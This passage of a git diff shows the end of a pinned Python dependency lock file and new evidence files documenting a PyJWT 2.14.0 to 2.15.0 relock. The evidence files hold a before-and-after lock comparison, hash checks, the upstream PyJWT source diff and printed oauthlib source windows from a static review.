'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-linkpresentation==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-localauthentication==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-localauthenticationembeddedui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mailkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mapkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediaaccessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediaextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-medialibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediaplayer==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediatoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metal==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalfx==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalperformanceshaders==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalperformanceshadersgraph==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metrickit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mlcompute==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-modelio==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-multipeerconnectivity==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-naturallanguage==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-netfs==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-network==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-networkextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-notificationcenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-opendirectory==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-osakit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-oslog==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-passkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-pencilkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-phase==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-photos==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-photosui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-preferencepanes==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-pushkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-quartz==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-quicklookthumbnailing==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-replaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-safariservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-safetykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-scenekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-screencapturekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-screensaver==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-screentime==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-scriptingbridge==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-searchkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-security==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-securityfoundation==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-securityinterface==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-securityui==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-sensitivecontentanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-servicemanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-sharedwithyou==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-sharedwithyoucore==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-shazamkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-social==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-soundanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-speech==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-spritekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-storekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-symbols==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-syncservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-systemconfiguration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-systemextensions==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-threadnetwork==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-uniformtypeidentifiers==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-usernotifications==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-usernotificationsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-videosubscriberaccount==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-videotoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-virtualization==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-vision==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-webkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyotp==2.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyparsing==3.2.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pypdf==6.19.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyperclip==1.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-dateutil==2.9.0.post0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-docx==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-dotenv==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-frontmatter==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-json-logger==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +python-multipart==0.0.31 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyyaml==6.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +redis==7.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +referencing==0.36.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +regex==2025.9.18 ; platform_machine == 'x86_64' and sys_platform == 'linux' +reportlab==4.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +requests==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +requests-oauthlib==2.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +rich==14.3.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +rich-rst==1.3.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +rpds-py==0.27.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +screeninfo==0.8.1 ; platform_machine == 'x86_64' and platform_system != 'darwin' and sys_platform == 'linux' +secretstorage==3.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +six==1.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +sniffio==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +socksio==1.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +sortedcontainers==2.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +soupsieve==2.9.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +sse-starlette==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +starlette==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tenacity==9.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tiktoken==0.12.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tokenizers==0.23.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tom-swe==1.0.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tqdm==4.67.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tree-sitter==0.25.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +tree-sitter-bash==0.25.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +typing-extensions==4.15.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +typing-inspection==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uncalled-for==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uritemplate==4.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +urllib3==2.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uuid7==0.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +uvicorn==0.52.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +watchfiles==1.1.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +wcwidth==0.2.14 ; platform_machine == 'x86_64' and sys_platform == 'linux' +websockets==15.0.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +wrapt==1.17.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +yarl==1.22.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +zipp==3.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-dependency-comparison.json b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-dependency-comparison.json new file mode 100644 index 000000000..ea4739b14 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-dependency-comparison.json @@ -0,0 +1,27 @@ +{ + "before_sha256": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "after_sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "requirements_before": 176, + "requirements_after": 176, + "unchanged_declarations_from_bd1": 175, + "changes": [ + { + "name": "pyjwt", + "before": "2.14.0", + "after": "2.15.0" + } + ], + "added": [], + "removed": [], + "only_pyjwt_block_changed": true, + "hashes_match_official_pypi": true, + "retained_versions": { + "urllib3": "2.8.0", + "oauthlib": "3.3.1", + "anyio": "4.14.2", + "click": "8.5.0", + "pypdf": "6.19.0", + "soupsieve": "2.9.2" + }, + "pyjwt_block": "pyjwt==2.15.0 \\\n --hash=sha256:7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8 \\\n --hash=sha256:b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4" +} diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-caller-and-pyjwt-static-delta.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-caller-and-pyjwt-static-delta.txt new file mode 100644 index 000000000..fa42864d6 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-caller-and-pyjwt-static-delta.txt @@ -0,0 +1,167 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-c", "import sys,hashlib,difflib,json\nfrom pathlib import Path\nsite,oldsite=map(Path,sys.argv[1:3])\nprint('Exact new PyJWT source, with old installed target diff:')\np=site/'jwt/api_jwt.py';old=oldsite/'jwt/api_jwt.py'\nprint('new jwt/api_jwt.py sha256',hashlib.sha256(p.read_bytes()).hexdigest())\nprint('old jwt/api_jwt.py sha256',hashlib.sha256(old.read_bytes()).hexdigest())\nprint(''.join(difflib.unified_diff(old.read_text().splitlines(True),p.read_text().splitlines(True),fromfile='PyJWT2.14.0/jwt/api_jwt.py',tofile='PyJWT2.15.0/jwt/api_jwt.py')))\nprint('OAuthlib namespaces re-export endpoint/server/grant definitions; definition loading does not prove invocation:')\nfor name,windows in [('oauthlib/oauth2/__init__.py',[(15,31),(55,68)]),('oauthlib/oauth2/rfc6749/endpoints/revocation.py',[(27,37),(65,83)]),('oauthlib/oauth2/rfc6749/grant_types/authorization_code.py',[(43,64),(500,509),(539,550)])]:\n p=site/name;lines=p.read_text().splitlines();print(name,'sha256',hashlib.sha256(p.read_bytes()).hexdigest())\n for start,end in windows:\n for i in range(start-1,min(end,len(lines))):print(f'{name}:{i+1}: {lines[i]}')\nprint('Static review only: dynamic imports, runtime-assembled names, external/non-Python callers and OAuth authorization-server runtime reachability remain unknown.')\n", "/venv/lib/python3.13/site-packages", "/venv/lib/python3.13/site-packages"] +cwd: +started_utc: 2026-09-30T17:17:48.076138+00:00 +ended_utc: 2026-09-30T17:17:48.140776+00:00 +exit_code: 0 + +stdout: +Exact new PyJWT source, with old installed target diff: +new jwt/api_jwt.py sha256 a2af9f3593c8cf9133163cb0b5b08223281b8292d5db5665309bc23c212cac76 +old jwt/api_jwt.py sha256 88fe0067b597c726ab53a49963207822a1a8efdbc138603146bd4324600cda18 +--- PyJWT2.14.0/jwt/api_jwt.py ++++ PyJWT2.15.0/jwt/api_jwt.py +@@ -296,7 +296,7 @@ + """ + try: + payload: dict[str, Any] = json.loads(decoded["payload"]) +- except ValueError as e: ++ except (ValueError, RecursionError) as e: + raise DecodeError(f"Invalid payload string: {e}") from e + if not isinstance(payload, dict): + raise DecodeError("Invalid payload string: must be a json object") +@@ -455,7 +455,7 @@ + + def _validate_jti(self, payload: dict[str, Any]) -> None: + """ +- Checks whether "jti" if in the payload is valid or not ++ Checks whether "jti" in the payload is valid or not + This is an Optional claim + + :param payload(dict): The payload which needs to be validated +@@ -475,7 +475,7 @@ + ) -> None: + try: + iat = int(payload["iat"]) +- except ValueError: ++ except (ValueError, TypeError, OverflowError): + raise InvalidIssuedAtError( + "Issued At claim (iat) must be an integer." + ) from None +@@ -490,7 +490,7 @@ + ) -> None: + try: + nbf = int(payload["nbf"]) +- except ValueError: ++ except (ValueError, TypeError, OverflowError): + raise DecodeError("Not Before claim (nbf) must be an integer.") from None + + if nbf > (now + leeway): +@@ -504,7 +504,7 @@ + ) -> None: + try: + exp = int(payload["exp"]) +- except ValueError: ++ except (ValueError, TypeError, OverflowError): + raise DecodeError( + "Expiration Time claim (exp) must be an integer." + ) from None + +OAuthlib namespaces re-export endpoint/server/grant definitions; definition loading does not prove invocation: +oauthlib/oauth2/__init__.py sha256 2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24 +oauthlib/oauth2/__init__.py:15: WebApplicationClient, +oauthlib/oauth2/__init__.py:16: ) +oauthlib/oauth2/__init__.py:17: from .rfc6749.endpoints import ( +oauthlib/oauth2/__init__.py:18: AuthorizationEndpoint, +oauthlib/oauth2/__init__.py:19: BackendApplicationServer, +oauthlib/oauth2/__init__.py:20: IntrospectEndpoint, +oauthlib/oauth2/__init__.py:21: LegacyApplicationServer, +oauthlib/oauth2/__init__.py:22: MetadataEndpoint, +oauthlib/oauth2/__init__.py:23: MobileApplicationServer, +oauthlib/oauth2/__init__.py:24: ResourceEndpoint, +oauthlib/oauth2/__init__.py:25: RevocationEndpoint, +oauthlib/oauth2/__init__.py:26: Server, +oauthlib/oauth2/__init__.py:27: TokenEndpoint, +oauthlib/oauth2/__init__.py:28: WebApplicationServer, +oauthlib/oauth2/__init__.py:29: ) +oauthlib/oauth2/__init__.py:30: from .rfc6749.errors import ( +oauthlib/oauth2/__init__.py:31: AccessDeniedError, +oauthlib/oauth2/__init__.py:55: UnsupportedResponseTypeError, +oauthlib/oauth2/__init__.py:56: UnsupportedTokenTypeError, +oauthlib/oauth2/__init__.py:57: ) +oauthlib/oauth2/__init__.py:58: from .rfc6749.grant_types import ( +oauthlib/oauth2/__init__.py:59: AuthorizationCodeGrant, +oauthlib/oauth2/__init__.py:60: ClientCredentialsGrant, +oauthlib/oauth2/__init__.py:61: ImplicitGrant, +oauthlib/oauth2/__init__.py:62: RefreshTokenGrant, +oauthlib/oauth2/__init__.py:63: ResourceOwnerPasswordCredentialsGrant, +oauthlib/oauth2/__init__.py:64: ) +oauthlib/oauth2/__init__.py:65: from .rfc6749.request_validator import RequestValidator +oauthlib/oauth2/__init__.py:66: from .rfc6749.tokens import BearerToken, OAuth2Token +oauthlib/oauth2/__init__.py:67: from .rfc6749.utils import is_secure_transport +oauthlib/oauth2/__init__.py:68: from .rfc8628.clients import DeviceClient +oauthlib/oauth2/rfc6749/endpoints/revocation.py sha256 ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c +oauthlib/oauth2/rfc6749/endpoints/revocation.py:27: valid_token_types = ('access_token', 'refresh_token') +oauthlib/oauth2/rfc6749/endpoints/revocation.py:28: valid_request_methods = ('POST',) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:29: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:30: def __init__(self, request_validator, supported_token_types=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:31: enable_jsonp=False): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:32: BaseEndpoint.__init__(self) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:33: self.request_validator = request_validator +oauthlib/oauth2/rfc6749/endpoints/revocation.py:34: self.supported_token_types = ( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:35: supported_token_types or self.valid_token_types) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:36: self.enable_jsonp = enable_jsonp +oauthlib/oauth2/rfc6749/endpoints/revocation.py:37: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:65: uri, http_method=http_method, body=body, headers=headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:66: try: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:67: self.validate_revocation_request(request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:68: log.debug('Token revocation valid for %r.', request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:69: except OAuth2Error as e: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:70: log.debug('Client error during validation of %r. %r.', request, e) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:71: response_body = e.json +oauthlib/oauth2/rfc6749/endpoints/revocation.py:72: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:73: response_body = '{}({});'.format(request.callback, response_body) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:74: resp_headers.update(e.headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:75: return resp_headers, response_body, e.status_code +oauthlib/oauth2/rfc6749/endpoints/revocation.py:76: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:77: self.request_validator.revoke_token(request.token, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:78: request.token_type_hint, request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:79: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:80: response_body = '' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:81: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:82: response_body = request.callback + '();' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:83: return {}, response_body, 200 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py sha256 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:43: the trailing '='. So we have to remove it. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:44: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:45: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:46: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:47: return base64.urlsafe_b64encode( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:48: hashlib.sha256(verifier.encode()).digest() +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49: ).decode().rstrip('=') == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:50: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:51: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:52: def code_challenge_method_plain(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:53: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:54: If the "code_challenge_method" from `Section 4.3`_ was "plain", they are +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:55: compared directly, i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:56: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:57: code_verifier == code_challenge. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:58: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:59: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:60: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:61: return verifier == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:62: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:63: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:64: class AuthorizationCodeGrant(GrantTypeBase): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:500: if challenge_method not in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:501: raise errors.ServerError( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:502: description="code_challenge_method {} is not supported.".format(challenge_method), +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:503: request=request +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:504: ) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:505: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:506: if not self.validate_code_challenge(challenge, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:507: challenge_method, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:508: request.code_verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:509: log.debug('request provided a invalid code_verifier.') +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:539: raise errors.MismatchingRedirectURIError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:540: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:541: for validator in self.custom_validators.post_token: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:542: validator(request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:543: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:544: def validate_code_challenge(self, challenge, challenge_method, verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:545: if challenge_method in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:546: return self._code_challenge_methods[challenge_method](verifier, challenge) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:547: raise NotImplementedError('Unknown challenge_method %s' % challenge_method) +Static review only: dynamic imports, runtime-assembled names, external/non-Python callers and OAuth authorization-server runtime reachability remain unknown. + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-lock-delta.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-lock-delta.txt new file mode 100644 index 000000000..5e97f1e74 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-lock-delta.txt @@ -0,0 +1,36 @@ +argv: ["rtk", "proxy", "python3", "-c", "import re,sys,json,hashlib\nfrom pathlib import Path\np=Path(sys.argv[1]);before=(p/'baseline.lock').read_text();after=(p/'candidate.lock').read_text()\npattern=r'(?m)^pyjwt==[^\\n]*(?:\\n[ \\t]+[^\\n]*)*'\noldblock=re.search(pattern,before).group(0);newblock=re.search(pattern,after).group(0)\nassert after==before.replace(oldblock,newblock,1),'bytes changed outside PyJWT block'\ndef declarations(s):\n out={}\n for name,kind,value in re.findall(r'(?m)^([a-zA-Z0-9_.-]+)(==| @ )([^\\n]+)',s):\n out[re.sub(r'[-_.]+','-',name).lower()]=value.rstrip(' \\\\')\n return out\nold=declarations(before);new=declarations(after)\nadded=sorted(set(new)-set(old));removed=sorted(set(old)-set(new))\nchanged=[{'name':n,'before':old[n],'after':new[n]} for n in sorted(old.keys()&new.keys()) if old[n]!=new[n]]\nassert len(old)==len(new)==176 and not added and not removed\nassert changed==[{'name':'pyjwt','before':'2.14.0','after':'2.15.0'}]\nfiles=json.loads((p/'pyjwt-artifacts.json').read_text())\nassert sorted(re.findall(r'--hash=sha256:([a-f0-9]+)',newblock))==sorted(x['sha256'] for x in files)\nresult={'before_sha256':hashlib.sha256(before.encode()).hexdigest(),'after_sha256':hashlib.sha256(after.encode()).hexdigest(),'requirements_before':len(old),'requirements_after':len(new),'unchanged_declarations_from_bd1':175,'changes':changed,'added':added,'removed':removed,'only_pyjwt_block_changed':True,'hashes_match_official_pypi':True,'retained_versions':{n:new[n] for n in ['urllib3','oauthlib','anyio','click','pypdf','soupsieve']},'pyjwt_block':newblock}\nprint(json.dumps(result,indent=2))\n", ""] +cwd: +started_utc: 2026-09-30T17:04:35.755023+00:00 +ended_utc: 2026-09-30T17:04:35.806482+00:00 +exit_code: 0 + +stdout: +{ + "before_sha256": 